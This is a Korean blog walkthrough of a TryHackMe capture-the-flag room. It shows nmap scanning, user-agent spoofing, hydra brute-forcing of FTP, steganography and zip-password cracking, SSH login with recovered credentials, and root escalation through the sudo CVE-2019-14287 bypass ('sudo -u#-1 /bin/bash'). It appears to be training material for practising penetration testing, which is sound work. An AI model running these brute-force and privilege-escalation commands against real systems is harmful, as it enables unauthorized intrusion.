Task 1 Author note
^생략
Task 2 Enumerate
1. 질문 : 얼마나 많은 포트가 있나요?
nmap 포트 스캔부터 돌려주겠습니다
nmap -A -sV -P -T4 10.10.149.229
nmap -A -sV -P -T4 10.10.149.229
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-04 22:52 EST
Nmap scan report for 10.10.149.229
Host is up (0.29s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
| 256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_ 256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=2/4%OT=21%CT=1%CU=31899%PV=Y%DS=2%DC=T%G=Y%TM=67A2E0B4
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=102%TI=Z%CI=I%II=I%TS=A)SEQ(
OS:SP=102%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%C
OS:I=I%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%II=I%TS=A)SEQ(SP=107%GCD=1%I
OS:SR=10C%TI=Z%II=I%TS=A)OPS(O1=M509ST11NW6%O2=M509ST11NW6%O3=M509NNT11NW6%
OS:O4=M509ST11NW6%O5=M509ST11NW6%O6=M509ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4
OS:=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M509NNSNW6%CC=Y%Q=)T1(R
OS:=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 265.09 ms 10.23.0.1
2 265.46 ms 10.10.149.229
OS and Service detection performed. Please report any incorrect results at https://nmap.org/subm
Nmap done: 1 IP address (1 host up) scanned in 43.51 seconds
열린 포트
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
3개의 해당 포트가 열려있습니다
2. 질문 : 비밀페이지로 자신을 리디렉션 하는 방법은 무엇입니까?
해당 웹서버로 접속해보겠습니다
코드내임이 user-agent 로 설명되여 있네요
정답은 user-agent
3. 질문 : agent 에 이름은 무엇인가요?
버프스위트를 켜줍니다
인터셉트를 켜주고
해당 내용에서 User-Agent 해당 내용값을
이와같이 바꿔줍니다
Forward
해당 비밀페이지로 들어가졌습니다
그후
User-Agent 를 C 로 바꿔줍니다
그럼 해당 agent 에 이름이 뭔지 알아낼수가 있습니다.
chris
Task 2 Hash cracking and brute-force
1. 질문 : FTP 서버에 비밀번호는 무엇인가요
hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.149.229
[21][ftp] host: 10.10.149.229 login: chris password: crystal
2. 질문 : ZIP 파일에 비밀번호는 무엇인가요
get cute-alien.jpg
파일을 다운 받아준후
다음것도 다 다운 받아 줍시다
cat To_agentJ.txt
cat cute-alien.jpg
저 귀여운 외계인 사진은 가짜라고 크랙하라고 합니다
stegcracker
stegcracker cute-alien.jpg /usr/share/wordlists/rockyou.txt
Area51
3. 질문 : 다른 agent 에 이름은 무엇인가요?
james
4. 질문 : SSH 비밀번호를 알아내세요
cutie.png 를 살펴봅시다
해당 cutie.png 가 암호화여 있습니다
zip2john 으로 크랙해줍시다
zip2john 8702.zip > hash
john hash
크랙된 내용에 있는 비밀번호는
alien
또한
To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
QXJlYTUx
이 문자열을 디코딩 해줄겁니다
echo QXJlYTUx | base64 -d
디코딩 내용
Area51
별다른건 없어보입니다
steghide extract -sf cute-alien.jpg
이 명령어를 통해 압축을 해제 시켜줍니다
message.txt
Hi james,
Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
chris
SSH 비밀번호는
hackerrules!
hackerrules!
Task 2 Capture the user flag
1. 질문 : user_flag 가 무엇인가요
아까 크랙해준 비밀번호로 로그인 해줍니다
ssh james@10.10.149.229
2. 질문 : 사진의 사건을 뭐라고 부르나요
Roswell alien autopsy
Task 5 Privilege escalation
1. 질문 : CVE 에 품번은 뭔가요
CVE-2019-14287
2. 질문 : root 플레그가 무엇인가요
https://www.exploit-db.com/exploits/47502
sudo 1.8.27 - Security Bypass
sudo 1.8.27 - Security Bypass EDB-ID: 47502 CVE: 2019-14287 Date: 2019-10-15
www.exploit-db.com
해당 명령어로 루트 계정으로 권한을 상승할수 있습니다
sudo -u#-1 /bin/bash
성공적으로 루트계정에 진입했습니다
cat /root/root.txt
마치며..
생각보다 꽤 오랜시간이 걸린 CTF 였다.
다음에도 CTF 문제로 돌아오겠습니다
여기까지 봐주셔서 감사합니다
'TryHackMe | CTF' 카테고리의 다른 글
TryHackMe | Silver Platter - Easy (0) | 2025.02.07 |
---|---|
TryHackMe | Daily Bugle - OSCP (0) | 2025.01.15 |
TryHackMe | Retro - OSCP 챌린지 (0) | 2024.12.08 |
TryHackMe | Brooklyn Nine Nine - 모의해킹 CTF (1) | 2024.11.24 |
TryHackMe | Chill Hack - CTF 모의해킹 (0) | 2024.11.24 |